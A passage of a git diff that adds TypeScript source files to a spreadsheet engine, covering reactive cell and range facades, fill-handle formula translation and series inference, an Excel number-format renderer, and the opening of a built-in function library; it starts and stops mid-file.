+ * lookalike — so it composes with other atoms and the framework store hooks
+ * (`useSelector`, `useStore`). The atom tracks the workbook's `revision` atom,
+ * so it recomputes on every commit (coarser than `subscribeRegion`, which stays
+ * the per-region perf primitive — these facades are the interop layer).
+ *
+ * Read views are genuinely read-only: the returned `ReadonlyAtom` has no `set`,
+ * so the type tells the truth. Writes go through {@link writeCells}, which maps
+ * to one `applyPatches` transaction. Atoms are **materialised lazily and cached
+ * by key** (one computed atom per cell/region is affordable; one per 10⁶ cells
+ * is not — the cache coalesces repeat requests).
+ */
+
+import { createAtom } from '@tanstack/store'
+import { pack } from './addr'
+import type { ReadonlyAtom } from '@tanstack/store'
+import type { CellValue, Rect, Ref, SheetId } from './types'
+import type { Workbook } from './workbook'
+
+interface WorkbookFacades {
+ cells: Map>
+ ranges: Map>>>
+}
+
+// Per-workbook facade cache — lazy materialisation, keyed by node identity.
+const CACHE = new WeakMap()
+
+function facadesFor(wb: Workbook): WorkbookFacades {
+ let f = CACHE.get(wb)
+ if (!f) CACHE.set(wb, (f = { cells: new Map(), ranges: new Map() }))
+ return f
+}
+
+const cellKey = (ref: Ref) => `${ref.sheet} ${pack(ref.row, ref.col)}`
+const rectKey = (sheet: SheetId, r: Rect) =>
+ `${sheet} ${r.r0} ${r.c0} ${r.r1} ${r.c1}`
+
+/** Coerce a store-written value to the input string a cell stores. */
+function toInput(value: CellValue): string {
+ if (value === null) return ''
+ if (typeof value === 'number' || typeof value === 'boolean')
+ return String(value)
+ if (typeof value === 'object') return '' // errors/pending aren't writable inputs
+ return value // keep a leading '=' as a formula; otherwise literal text
+}
+
+/**
+ * A read-only computed atom over one cell's value. Recomputes when the workbook
+ * commits; composes with `Derived`/`useStore`/`useSelector`. The same atom is
+ * returned for repeated calls on the same (workbook, cell), so subscriptions
+ * coalesce.
+ */
+export function cellValueFacade(
+ wb: Workbook,
+ ref: Ref,
+): ReadonlyAtom {
+ const cache = facadesFor(wb).cells
+ const key = cellKey(ref)
+ let atom = cache.get(key)
+ if (!atom) {
+ atom = createAtom((): CellValue => {
+ wb.atoms.revision.get() // track revision → recompute on every commit
+ return wb.getCell(ref)?.value ?? null
+ })
+ cache.set(key, atom)
+ }
+ return atom
+}
+
+/**
+ * A read-only computed atom over a rectangular region as a dense 2D value grid,
+ * aligned with `subscribeRegion`'s shape. Cached by rect.
+ */
+export function rangeFacade(
+ wb: Workbook,
+ sheet: SheetId,
+ rect: Rect,
+): ReadonlyAtom>> {
+ const cache = facadesFor(wb).ranges
+ const key = rectKey(sheet, rect)
+ let atom = cache.get(key)
+ if (!atom) {
+ atom = createAtom((): Array> => {
+ wb.atoms.revision.get()
+ const grid: Array> = []
+ for (let r = rect.r0; r <= rect.r1; r++) {
+ const row: Array = []
+ for (let c = rect.c0; c <= rect.c1; c++) {
+ row.push(wb.getCell({ sheet, row: r, col: c })?.value ?? null)
+ }
+ grid.push(row)
+ }
+ return grid
+ })
+ cache.set(key, atom)
+ }
+ return atom
+}
+
+/**
+ * Apply several cell writes as one `applyPatches` transaction ("Store `batch()`
+ * maps to one `applyPatches`"): one recalc, one set of region notifications,
+ * instead of N. This is the write path — the read facades are genuinely
+ * read-only.
+ */
+export function writeCells(
+ wb: Workbook,
+ edits: Array<{ ref: Ref; value: CellValue }>,
+): void {
+ const patches = edits.flatMap((e) => wb.setInput(e.ref, toInput(e.value)))
+ wb.applyPatches(patches)
+}
diff --git a/packages/spreadsheet-core/src/fill.ts b/packages/spreadsheet-core/src/fill.ts
new file mode 100644
index 0000000000..8e83f94e71
--- /dev/null
+++ b/packages/spreadsheet-core/src/fill.ts
@@ -0,0 +1,230 @@
+/**
+ * Fill-handle logic: translating formulas and inferring literal series when a
+ * selection is dragged to fill a larger region.
+ *
+ * The value of an arithmetic/date series at any position is
+ * `base + step * (pos - origin)`, which extends the sequence in either
+ * direction from one formula. Formula cells translate by the block-aligned
+ * offset so `=A1*2` filled down becomes `=A2*2`, while `$A$1` stays anchored.
+ */
+
+import { translateRef } from './addr'
+import { parse } from './parser'
+import { serialize } from './serialize'
+import { isFormula } from './tx'
+import type { Node, Patch, Rect, Ref, SheetId } from './types'
+import type { WorkbookKernelBase } from './kernel'
+
+// ---------------------------------------------------------------------------
+// Formula translation
+// ---------------------------------------------------------------------------
+
+function translateAst(node: Node, dRow: number, dCol: number): Node {
+ switch (node.type) {
+ case 'ref': {
+ const t = translateRef(node, dRow, dCol)
+ return t ?? { type: 'error', code: '#REF!' }
+ }
+ case 'range': {
+ const s = translateRef(node.start, dRow, dCol)
+ const e = translateRef(node.end, dRow, dCol)
+ if (!s || !e) return { type: 'error', code: '#REF!' }
+ return { type: 'range', start: s, end: e }
+ }
+ case 'unary':
+ return { ...node, operand: translateAst(node.operand, dRow, dCol) }
+ case 'binary':
+ return {
+ ...node,
+ left: translateAst(node.left, dRow, dCol),
+ right: translateAst(node.right, dRow, dCol),
+ }
+ case 'call':
+ return {
+ ...node,
+ args: node.args.map((a) => translateAst(a, dRow, dCol)),
+ }
+ default:
+ return node
+ }
+}
+
+/**
+ * Translate a formula string by (dRow, dCol): relative refs move, absolute refs
+ * stay, refs pushed off-sheet become `#REF!`. Returns new formula text (with `=`).
+ */
+export function translateFormula(
+ input: string,
+ dRow: number,
+ dCol: number,
+): string {
+ const ast = parse(input)
+ return serialize(translateAst(ast, dRow, dCol), { leadingEquals: true })
+}
+
+// ---------------------------------------------------------------------------
+// Literal series inference
+// ---------------------------------------------------------------------------
+
+const ISO = /^\d{4}-\d{2}-\d{2}$/
+const MS_PER_DAY = 86_400_000
+
+function isoToDays(s: string): number | null {
+ if (!ISO.test(s)) return null
+ const ms = Date.parse(s + 'T00:00:00Z')
+ return Number.isNaN(ms) ? null : Math.round(ms / MS_PER_DAY)
+}
+function daysToIso(days: number): string {
+ return new Date(days * MS_PER_DAY).toISOString().slice(0, 10)
+}
+function numOf(s: string): number | null {
+ if (s.trim() === '') return null
+ const n = Number(s)
+ return Number.isNaN(n) || !Number.isFinite(n) ? null : n
+}
+
+/** Constant step of a sequence, or null if not constant (needs ≥2 points). */
+function constantStep(values: Array): number | null {
+ if (values.length < 2) return null
+ const step = values[1]! - values[0]!
+ for (let i = 2; i < values.length; i++) {
+ if (values[i]! - values[i - 1]! !== step) return null
+ }
+ return step
+}
+
+type FillResult =
+ | { kind: 'literal'; input: string }
+ | { kind: 'formula'; formula: string; srcPos: number }
+
+/**
+ * Determine what a filled cell at `pos` (row or col along the fill axis) should
+ * contain, given the seed inputs starting at `origin`.
+ */
+function fillValueAt(
+ seed: Array,
+ origin: number,
+ pos: number,
+): FillResult {
+ const seedLen = seed.length
+ const phase = (((pos - origin) % seedLen) + seedLen) % seedLen
+ const cycle: FillResult = { kind: 'literal', input: seed[phase]! }
+
+ // Formulas: block-aligned phase, translated by the offset to the phase cell.
+ if (seed.every((s) => isFormula(s))) {
+ return { kind: 'formula', formula: seed[phase]!, srcPos: origin + phase }
+ }
+
+ // Numeric arithmetic series.
+ const nums = seed.map(numOf)
+ if (nums.every((n) => n !== null)) {
+ const step = constantStep(nums)
+ return step === null
+ ? cycle
+ : {
+ kind: 'literal',
+ input: String((nums[0] as number) + step * (pos - origin)),
+ }
+ }
+
+ // ISO date series.
+ const days = seed.map(isoToDays)
+ if (days.every((d) => d !== null)) {
+ const step = constantStep(days)
+ return step === null
+ ? cycle
+ : {
+ kind: 'literal',
+ input: daysToIso((days[0] as number) + step * (pos - origin)),
+ }
+ }
+
+ return cycle
+}
+
+// ---------------------------------------------------------------------------
+// Fill patches
+// ---------------------------------------------------------------------------
+
+/**
+ * Build patches to fill `target` from `source`. `target` must contain `source`
+ * and extend it in exactly one direction (down/up/right/left); only the cells
+ * outside `source` are written.
+ */
+export function buildFillPatches(
+ workbook: WorkbookKernelBase,
+ sheet: SheetId,
+ source: Rect,
+ target: Rect,
+): Array {
+ const patches: Array = []
+ const ref = (row: number, col: number): Ref => ({ sheet, row, col })
+
+ const vertical =
+ source.c0 === target.c0 &&
+ source.c1 === target.c1 &&
+ (target.r1 > source.r1 || target.r0 < source.r0)
+ const horizontal =
+ source.r0 === target.r0 &&
+ source.r1 === target.r1 &&
+ (target.c1 > source.c1 || target.c0 < source.c0)
+
+ if (!vertical && !horizontal) {
+ throw new Error('fill target must extend the source in one direction')
+ }
+
+ if (vertical) {
+ for (let col = source.c0; col <= source.c1; col++) {
+ const seed: Array = []
+ for (let r = source.r0; r <= source.r1; r++) {
+ seed.push(workbook.getCell(ref(r, col))?.input ?? '')
+ }
+ const newRows: Array = []
+ for (let r = target.r0; r <= target.r1; r++) {
+ if (r < source.r0 || r > source.r1) newRows.push(r)
+ }
+ for (const r of newRows) {
+ patches.push(...emit(workbook, ref(r, col), seed, source.r0, r, 'v'))
+ }
+ }
+ } else {
+ for (let row = source.r0; row <= source.r1; row++) {
+ const seed: Array = []
+ for (let c = source.c0; c <= source.c1; c++) {
+ seed.push(workbook.getCell(ref(row, c))?.input ?? '')
+ }
+ const newCols: Array = []
+ for (let c = target.c0; c <= target.c1; c++) {
+ if (c < source.c0 || c > source.c1) newCols.push(c)
+ }
+ for (const c of newCols) {
+ patches.push(...emit(workbook, ref(row, c), seed, source.c0, c, 'h'))
+ }
+ }
+ }
+
+ return patches
+}
+
+function emit(
+ workbook: WorkbookKernelBase,
+ target: Ref,
+ seed: Array,
+ origin: number,
+ pos: number,
+ axis: 'v' | 'h',
+): Array {
+ const result = fillValueAt(seed, origin, pos)
+ let input: string
+ if (result.kind === 'formula') {
+ const delta = pos - result.srcPos
+ input = translateFormula(
+ result.formula,
+ axis === 'v' ? delta : 0,
+ axis === 'h' ? delta : 0,
+ )
+ } else {
+ input = result.input
+ }
+ return workbook.setInput(target, input)
+}
diff --git a/packages/spreadsheet-core/src/format.ts b/packages/spreadsheet-core/src/format.ts
new file mode 100644
index 0000000000..99d3e08446
--- /dev/null
+++ b/packages/spreadsheet-core/src/format.ts
@@ -0,0 +1,195 @@
+/**
+ * A minimal Excel number-format renderer. This is display-only support — the
+ * engine never consults it; it powers the `TEXT` function and lets adapters
+ * render imported cells (dates, percents, currency) the way Excel showed them.
+ *
+ * It handles the common subset: General, fixed/grouped decimals, percent,
+ * a leading currency/literal, and date/time token codes. It is intentionally
+ * not a full OOXML format engine (no color/condition sections, fractions,
+ * scientific, or locale codes).
+ */
+
+import { isErr, isPending } from './eval'
+import type { CellValue } from './types'
+
+const MS_PER_DAY = 86_400_000
+const EXCEL_EPOCH_UTC = Date.UTC(1899, 11, 30)
+
+const MONTHS = [
+ 'January',
+ 'February',
+ 'March',
+ 'April',
+ 'May',
+ 'June',
+ 'July',
+ 'August',
+ 'September',
+ 'October',
+ 'November',
+ 'December',
+]
+const DAYS = [
+ 'Sunday',
+ 'Monday',
+ 'Tuesday',
+ 'Wednesday',
+ 'Thursday',
+ 'Friday',
+ 'Saturday',
+]
+
+function pad(n: number, w = 2): string {
+ return String(Math.floor(n)).padStart(w, '0')
+}
+
+function serialToDate(serial: number): Date {
+ return new Date(EXCEL_EPOCH_UTC + Math.round(serial * MS_PER_DAY))
+}
+
+/** Whether a format code denotes a date/time (has y/d tokens, or h/s time tokens). */
+export function isDateFormat(code: string): boolean {
+ const c = code.replace(/\[[^\]]*\]/g, '').replace(/"[^"]*"/g, '')
+ return /[yd]/i.test(c) || /h.*m|m.*s|\bh\b|\bs\b/i.test(c)
+}
+
+function formatDate(serial: number, code: string): string {
+ const d = serialToDate(serial)
+ const Y = d.getUTCFullYear()
+ const Mo = d.getUTCMonth() // 0-based
+ const D = d.getUTCDate()
+ const H = d.getUTCHours()
+ const Mi = d.getUTCMinutes()
+ const S = d.getUTCSeconds()
+ const has12 = /am\/pm|a\/p/i.test(code)
+ const h12 = H % 12 === 0 ? 12 : H % 12
+
+ let out = ''
+ let i = 0
+ let prevToken = '' // last date letter-token seen (for month vs minute)
+ while (i < code.length) {
+ const ch = code[i]!
+ // literals: quoted, escaped, or bracketed sections
+ if (ch === '"') {
+ const end = code.indexOf('"', i + 1)
+ out += code.slice(i + 1, end < 0 ? code.length : end)
+ i = end < 0 ? code.length : end + 1
+ continue
+ }
+ if (ch === '[') {
+ i = code.indexOf(']', i) + 1 || code.length
+ continue
+ }
+ if (ch === '\\') {
+ out += code[i + 1] ?? ''
+ i += 2
+ continue
+ }
+ const c = ch.toLowerCase()
+ // a run of the same token letter
+ if ('ymdhs'.includes(c) || c === 'a') {
+ let j = i
+ while (j < code.length && code[j]!.toLowerCase() === c) j++
+ const run = j - i
+ i = j
+ switch (c) {
+ case 'y':
+ out += run <= 2 ? pad(Y % 100) : String(Y)
+ break
+ case 'm': {
+ // month vs minute: minute if it follows an hour token or precedes seconds
+ const nextLetter = code
+ .slice(j)
+ .match(/[ymdhs]/i)?.[0]
+ ?.toLowerCase()
+ const isMinute = prevToken === 'h' || nextLetter === 's'
+ if (isMinute) out += run >= 2 ? pad(Mi) : String(Mi)
+ else if (run === 4) out += MONTHS[Mo]!
+ else if (run === 3) out += MONTHS[Mo]!.slice(0, 3)
+ else out += run >= 2 ? pad(Mo + 1) : String(Mo + 1)
+ break
+ }
+ case 'd':
+ if (run === 4) out += DAYS[d.getUTCDay()]!
+ else if (run === 3) out += DAYS[d.getUTCDay()]!.slice(0, 3)
+ else out += run >= 2 ? pad(D) : String(D)
+ break
+ case 'h':
+ out += run >= 2 ? pad(has12 ? h12 : H) : String(has12 ? h12 : H)
+ break
+ case 's':
+ out += run >= 2 ? pad(S) : String(S)
+ break
+ case 'a': {
+ const m = code.slice(i - run).match(/^(am\/pm|a\/p)/i)
+ if (m) {
+ out +=
+ H < 12
+ ? m[0].length === 3
+ ? 'A'
+ : 'AM'
+ : m[0].length === 3
+ ? 'P'
+ : 'PM'
+ i = i - run + m[0].length
+ } else out += ch
+ break
+ }
+ }
+ prevToken = c
+ continue
+ }
+ out += ch
+ i++
+ }
+ return out
+}
+
+function formatNumberSection(value: number, section: string): string {
+ const isPercent = section.includes('%')
+ const n = isPercent ? value * 100 : value
+
+ // decimals from the digits after '.'
+ const dot = section.indexOf('.')
+ let decimals = 0
+ if (dot >= 0) {
+ const frac = section.slice(dot + 1).match(/[0#]*/)?.[0] ?? ''
+ decimals = frac.length
+ }
+ const grouped =
+ /[#0],[#0]/.test(section) || section.includes(',#') || /,0/.test(section)
+
+ const neg = n < 0
+ let body = Math.abs(n).toFixed(decimals)
+ if (grouped) {
+ const [int, dec] = body.split('.')
+ body = int!.replace(/\B(?=(\d{3})+(?!\d))/g, ',') + (dec ? '.' + dec : '')
+ }
+
+ // leading literal prefix (currency symbol / quoted text) and trailing literal
+ const prefix = (section.match(/^(\[[^\]]*\]|"[^"]*"|[$£€¥])+/) || [''])[0]
+ .replace(/\[[^\]]*\]/g, '')
+ .replace(/"/g, '')
+ const suffix = isPercent ? '%' : ''
+
+ return (neg ? '-' : '') + prefix + body + suffix
+}
+
+/**
+ * Render a {@link CellValue} using an Excel number-format code. Falls back to a
+ * plain string for `General`, empty/absent codes, text, blanks, and errors.
+ */
+export function formatValue(value: CellValue, code?: string): string {
+ if (value === null) return ''
+ if (isErr(value)) return value.code
+ if (isPending(value)) return '…' // not-yet-arrived async value (display marker)
+ if (typeof value === 'boolean') return value ? 'TRUE' : 'FALSE'
+ if (typeof value === 'string') return value
+ // number:
+ if (!code || code === 'General' || code === '@') return String(value)
+ if (isDateFormat(code)) return formatDate(value, code)
+ // pick the positive/negative section
+ const sections = code.split(';')
+ const section = value < 0 && sections[1] ? sections[1] : sections[0]!
+ return formatNumberSection(value, section)
+}
diff --git a/packages/spreadsheet-core/src/functions.ts b/packages/spreadsheet-core/src/functions.ts
new file mode 100644
index 0000000000..53037c43cf
--- /dev/null
+++ b/packages/spreadsheet-core/src/functions.ts
@@ -0,0 +1,1375 @@
+/**
+ * The built-in function library. Each is registered into a fresh
+ * {@link FunctionRegistry} by {@link builtins}. Semantics aim for Excel
+ * compatibility; the golden-file suite is the source of truth.
+ */
+
+import {
+ err,
+ isBlocking,
+ isErr,
+ isPending,
+ looseCompare,
+ pending,
+ toBool,
+ toNum,
+ toStr,
+} from './eval'
+import { formatValue } from './format'
+import { FunctionRegistry } from './ports'
+import type { ArgDescriptor, CellValueType, FnContext, RangeArg } from './ports'
+import type { BlockingValue, CellValue } from './types'
+
+/** A value as the text a criteria wildcard matches against (Excel: text only). */
+function asMatchText(v: CellValue): string {
+ if (v === null) return ''
+ if (typeof v === 'boolean') return v ? 'TRUE' : 'FALSE'
+ if (typeof v === 'number') return String(v)
+ if (typeof v === 'string') return v
+ return ''
+}
+
+/**
+ * True if `s` needs wildcard processing — it contains a `*`, `?`, or a `~`
+ * escape. (A pattern of only escaped wildcards like `"a~*b"` still has to run
+ * through the wildcard compiler so the `~` is stripped.)
+ */
+function hasWildcard(s: string): boolean {
+ return /[*?~]/.test(s)
+}
+
+function escapeRegExp(s: string): string {
+ return s.replace(/[.*+?^${}()|[\]\\]/g, '\\$&')
+}
+
+/**
+ * Compile an Excel criteria wildcard pattern to a case-insensitive RegExp:
+ * `*` matches any run of characters, `?` any single character, and `~` escapes
+ * a literal `*`, `?`, or `~`.
+ */
+function wildcardToRegExp(pattern: string): RegExp {
+ let re = '^'
+ for (let i = 0; i < pattern.length; i++) {
+ const ch = pattern[i]!
+ if (ch === '~') {
+ const next = pattern[i + 1]
+ if (next === '*' || next === '?' || next === '~') {
+ re += escapeRegExp(next)
+ i++
+ continue
+ }
+ re += escapeRegExp('~')
+ continue
+ }
+ if (ch === '*') {
+ re += '[\\s\\S]*'
+ continue
+ }
+ if (ch === '?') {
+ re += '[\\s\\S]'
+ continue
+ }
+ re += escapeRegExp(ch)
+ }
+ return new RegExp(re + '$', 'i')
+}
+
+/**
+ * Build a predicate from a criteria value like `">10"`, `"Gadgets"`, `"<>0"`,
+ * or `"Gadget*"`. Supports the comparison operators, plain (case-insensitive)
+ * equality, and Excel wildcards (`*`, `?`, `~` escapes) on `=`/`<>` text match.
+ */
+function makeMatcher(criterion: CellValue): (v: CellValue) => boolean {
+ if (typeof criterion !== 'string') {
+ return (v) => looseCompare(v, criterion) === 0
+ }
+ const m = /^(<=|>=|<>|=|<|>)?([\s\S]*)$/.exec(criterion)!
+ const op = m[1] ?? '='
+ const rest = m[2] ?? ''
+
+ // Wildcard equality/inequality on text (`"Gadget*"`, `"<>*temp*"`).
+ if ((op === '=' || op === '<>') && hasWildcard(rest)) {
+ const re = wildcardToRegExp(rest)
+ return (v) => {
+ const hit = re.test(asMatchText(v))
+ return op === '<>' ? !hit : hit
+ }
+ }
+
+ const asNum =
+ rest.trim() !== '' && !Number.isNaN(Number(rest)) ? Number(rest) : null
+ const target: CellValue = asNum !== null ? asNum : rest
+ return (v) => {
+ const c = looseCompare(v, target)
+ switch (op) {
+ case '<>':
+ return c !== 0
+ case '<':
+ return c < 0
+ case '<=':
+ return c <= 0
+ case '>':
+ return c > 0
+ case '>=':
+ return c >= 0
+ default:
+ return c === 0
+ }
+ }
+}
+
+const MS_PER_DAY = 86_400_000
+/** Days between the Excel epoch (1899-12-30) and the Unix epoch. */
+const EXCEL_EPOCH_OFFSET = 25_569
+
+function serialFromMs(ms: number): number {
+ return ms / MS_PER_DAY + EXCEL_EPOCH_OFFSET
+}
+
+/**
+ * Compose a date serial from year/month/day the way Excel's `DATE` does:
+ * month/day overflow rolls into neighbouring units, and a 0–1899 year is taken
+ * as 1900-based. Pure (no `Date.now`) and UTC so it stays deterministic.
+ */
+function dateToSerial(year: number, month: number, day: number): number {
+ const fy = year >= 0 && year <= 1899 ? year + 1900 : year
+ const ms = Date.UTC(fy, month - 1, day)
+ return Math.round(ms / MS_PER_DAY) + EXCEL_EPOCH_OFFSET
+}
+
+/** The UTC calendar date a serial denotes (for YEAR/MONTH/DAY decomposition). */
+function serialToDate(serial: number): Date {
+ return new Date(Math.round((serial - EXCEL_EPOCH_OFFSET) * MS_PER_DAY))
+}
+
+// ---------------------------------------------------------------------------
+// Aggregation helpers
+// ---------------------------------------------------------------------------
+
+/**
+ * Gather numbers across all args. Range/reference args contribute only their
+ * numeric cells (text/blank/bool ignored, matching Excel); scalar args are
+ * coerced (so `SUM("abc")` errors but `SUM(A1)` with text in A1 ignores it).
+ */
+function collectNumbers(ctx: FnContext): Array | BlockingValue {
+ const out: Array = []
+ for (let i = 0; i < ctx.args.length; i++) {
+ const rng = ctx.args.range(i)
+ if (rng) {
+ for (const { value } of rng.cells()) {
+ if (isBlocking(value)) return value
+ if (typeof value === 'number') out.push(value)
+ }
+ } else {
+ const n = toNum(ctx.args.scalar(i))
+ if (isBlocking(n)) return n
+ out.push(n)
+ }
+ }
+ return out
+}
+
+function roundHalfAway(x: number, digits: number): number {
+ const f = Math.pow(10, digits)
+ const y = x * f
+ return (Math.sign(y) * Math.round(Math.abs(y))) / f
+}
+
+/** Populated cells of a range, in row-major order. */
+function sortedCells(
+ rng: RangeArg,
+): Array<{ r: number; c: number; value: CellValue }> {
+ const cells = [...rng.cells()]
+ cells.sort((a, b) => a.r - b.r || a.c - b.c)
+ return cells
+}
+
+interface CriteriaPair {
+ range: RangeArg
+ match: (v: CellValue) => boolean
+}
+
+/**
+ * Build `(range, matcher)` pairs from the criteria arguments of a `*IFS`
+ * function, starting at argument `start` and stepping two at a time. Returns a
+ * {@link BlockingValue} (an `#VALUE!` error or a propagated blocking arg) if any
+ * criteria range is missing or any criterion is itself blocking.
+ */
+function criteriaPairs(
+ ctx: FnContext,
+ start: number,
+): Array | BlockingValue {
+ const pairs: Array = []
+ for (let i = start; i + 1 < ctx.args.length; i += 2) {
+ const range = ctx.args.range(i)
+ if (!range) return err('#VALUE!')
+ const crit = ctx.args.scalar(i + 1)
+ if (isBlocking(crit)) return crit
+ pairs.push({ range, match: makeMatcher(crit) })
+ }
+ return pairs
+}
+
+/**
+ * Whether every criteria pair matches at offset `(r, c)`. Returns `'pending'`
+ * if any criteria cell is still pending (the whole conditional is then pending).
+ */
+function allMatchAt(
+ pairs: Array,
+ r: number,
+ c: number,
+): boolean | 'pending' {
+ for (const p of pairs) {
+ const v = p.range.at(r, c)
+ if (isPending(v)) return 'pending'
+ if (!p.match(v)) return false
+ }
+ return true
+}
+
+// ---------------------------------------------------------------------------
+// Registry
+// ---------------------------------------------------------------------------
+
+export function builtins(): FunctionRegistry {
+ const r = new FunctionRegistry()
+
+ // --- Math / aggregation ---------------------------------------------------
+
+ r.define({
+ name: 'SUM',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const nums = collectNumbers(ctx)
+ if (!Array.isArray(nums)) return nums
+ return nums.reduce((a, b) => a + b, 0)
+ },
+ })
+
+ r.define({
+ name: 'AVERAGE',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const nums = collectNumbers(ctx)
+ if (!Array.isArray(nums)) return nums
+ if (nums.length === 0) return err('#DIV/0!')
+ return nums.reduce((a, b) => a + b, 0) / nums.length
+ },
+ })
+
+ r.define({
+ name: 'MIN',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const nums = collectNumbers(ctx)
+ if (!Array.isArray(nums)) return nums
+ return nums.length ? Math.min(...nums) : 0
+ },
+ })
+
+ r.define({
+ name: 'MAX',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ const nums = collectNumbers(ctx)
+ if (!Array.isArray(nums)) return nums
+ return nums.length ? Math.max(...nums) : 0
+ },
+ })
+
+ r.define({
+ name: 'COUNT',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ let n = 0
+ for (let i = 0; i < ctx.args.length; i++) {
+ const rng = ctx.args.range(i)
+ if (rng) {
+ for (const { value } of rng.cells())
+ if (typeof value === 'number') n++
+ } else if (typeof ctx.args.scalar(i) === 'number') {
+ n++
+ }
+ }
+ return n
+ },
+ })
+
+ r.define({
+ name: 'COUNTA',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ let n = 0
+ for (let i = 0; i < ctx.args.length; i++) {
+ const rng = ctx.args.range(i)
+ if (rng) {
+ for (const _ of rng.cells()) n++
+ } else if (ctx.args.scalar(i) !== null) {
+ n++
+ }
+ }
+ return n
+ },
+ })
+
+ r.define({
+ name: 'ABS',
+ minArgs: 1,
+ evaluate(ctx) {
+ const n = toNum(ctx.args.scalar(0))
+ return isBlocking(n) ? n : Math.abs(n)
+ },
+ })
+
+ r.define({
+ name: 'ROUND',
+ minArgs: 2,
+ evaluate(ctx) {
+ const x = toNum(ctx.args.scalar(0))
+ if (isBlocking(x)) return x
+ const d = toNum(ctx.args.scalar(1))
+ if (isBlocking(d)) return d
+ return roundHalfAway(x, Math.trunc(d))
+ },
+ })
+
+ // --- Logical --------------------------------------------------------------
+
+ r.define({
+ name: 'IF',
+ minArgs: 2,
+ maxArgs: 3,
+ evaluate(ctx) {
+ const cond = toBool(ctx.args.scalar(0))
+ if (isBlocking(cond)) return cond
+ if (cond) return ctx.args.scalar(1)
+ return ctx.args.length > 2 ? ctx.args.scalar(2) : false
+ },
+ })
+
+ const logical =
+ (fold: (acc: boolean, v: boolean) => boolean, seed: boolean) =>
+ (ctx: FnContext): CellValue => {
+ let acc = seed
+ let seen = 0
+ for (let i = 0; i < ctx.args.length; i++) {
+ const rng = ctx.args.range(i)
+ const consume = (v: CellValue): BlockingValue | undefined => {
+ if (isBlocking(v)) return v
+ if (typeof v === 'boolean' || typeof v === 'number') {
+ acc = fold(acc, typeof v === 'boolean' ? v : v !== 0)
+ seen++
+ }
+ return undefined
+ }
+ if (rng) {
+ for (const { value } of rng.cells()) {
+ const e = consume(value)
+ if (e) return e
+ }
+ } else {
+ const e = consume(ctx.args.scalar(i))
+ if (e) return e
+ }
+ }
+ return seen === 0 ? err('#VALUE!') : acc
+ }
+
+ r.define({
+ name: 'AND',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate: logical((a, v) => a && v, true),
+ })
+ r.define({
+ name: 'OR',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate: logical((a, v) => a || v, false),
+ })
+
+ r.define({
+ name: 'NOT',
+ minArgs: 1,
+ evaluate(ctx) {
+ const b = toBool(ctx.args.scalar(0))
+ return isBlocking(b) ? b : !b
+ },
+ })
+
+ // --- Text -----------------------------------------------------------------
+
+ r.define({
+ name: 'CONCAT',
+ minArgs: 1,
+ maxArgs: Infinity,
+ evaluate(ctx) {
+ let out = ''
+ for (let i = 0; i < ctx.args.length; i++) {
+ const rng = ctx.args.range(i)
+ if (rng) {
+ for (const { value } of sortedCells(rng)) {
+ const s = toStr(value)
+ if (isBlocking(s)) return s
+ out += s
+ }
+ } else {
+ const s = toStr(ctx.args.scalar(i))
+ if (isBlocking(s)) return s
+ out += s
+ }
+ }
+ return out
+ },
+ })
+
+ r.define({
+ name: 'LEN',
+ minArgs: 1,
+ evaluate(ctx) {
+ const s = toStr(ctx.args.scalar(0))
+ return isBlocking(s) ? s : s.length
+ },
+ })
+
+ const substr =
+ (which: 'LEFT' | 'RIGHT') =>
+ (ctx: FnContext): CellValue => {
+ const s = toStr(ctx.args.scalar(0))
+ if (isBlocking(s)) return s
+ let n = 1
+ if (ctx.args.length > 1) {
+ const nn = toNum(ctx.args.scalar(1))
+ if (isBlocking(nn)) return nn
+ n = Math.trunc(nn)
+ }
+ if (n < 0) return err('#VALUE!')
+ return which === 'LEFT' ? s.slice(0, n) : n === 0 ? '' : s.slice(-n)
+ }
+ r.define({ name: 'LEFT', minArgs: 1, maxArgs: 2, evaluate: substr('LEFT') })
+ r.define({ name: 'RIGHT', minArgs: 1, maxArgs: 2, evaluate: substr('RIGHT') })
+
+ r.define({
+ name: 'MID',
+ minArgs: 3,
+ evaluate(ctx) {
+ const s = toStr(ctx.args.scalar(0))
+ if (isBlocking(s)) return s
+ const start = toNum(ctx.args.scalar(1))
+ if (isBlocking(start)) return start
+ const len = toNum(ctx.args.scalar(2))
+ if (isBlocking(len)) return len
+ if (start < 1 || len < 0) return err('#VALUE!')
+ return s.slice(start - 1, start - 1 + Math.trunc(len))
+ },
+ })
+
+ r.define({
+ name: 'TRIM',
+ minArgs: 1,
+ evaluate(ctx) {
+ const s = toStr(ctx.args.scalar(0))
+ return isBlocking(s) ? s : s.replace(/\s+/g, ' ').trim()
+ },
+ })
+
+ r.define({
+ name: 'UPPER',
+ minArgs: 1,
+ evaluate(ctx) {
+ const s = toStr(ctx.args.scalar(0))
+ return isBlocking(s) ? s : s.toUpperCase()
+ },
+ })
+
+ r.define({
+ name: 'LOWER',
+ minArgs: 1,
+ evaluate(ctx) {
+ const s = toStr(ctx.args.scalar(0))
+ return isBlocking(s) ? s : s.toLowerCase()
+ },
+ })
+
+ // --- Date/time (volatile) -------------------------------------------------
+
+ r.define({
+ name: 'TODAY',
+ minArgs: 0,
+ volatile: true,
+ evaluate(ctx) {
+ return Math.floor(serialFromMs(ctx.clock.now()))
+ },
+ })
+
+ r.define({
+ name: 'NOW',
+ minArgs: 0,
+ volatile: true,
+ evaluate(ctx) {
+ return serialFromMs(ctx.clock.now())
+ },
+ })
+
+ r.define({
+ name: 'DATE',
+ minArgs: 3,
+ evaluate(ctx) {
+ const y = toNum(ctx.args.scalar(0))
+ if (isBlocking(y)) return y
+ const m = toNum(ctx.args.scalar(1))
+ if (isBlocking(m)) return m
+ const d = toNum(ctx.args.scalar(2))
+ if (isBlocking(d)) return d
+ const serial = dateToSerial(Math.trunc(y), Math.trunc(m), Math.trunc(d))
+ return Number.isFinite(serial) ? serial : err('#NUM!')
+ },
+ })
+
+ const datePart =
+ (part: 'year' | 'month' | 'day') =>
+ (ctx: FnContext): CellValue => {
+ const n = toNum(ctx.args.scalar(0))
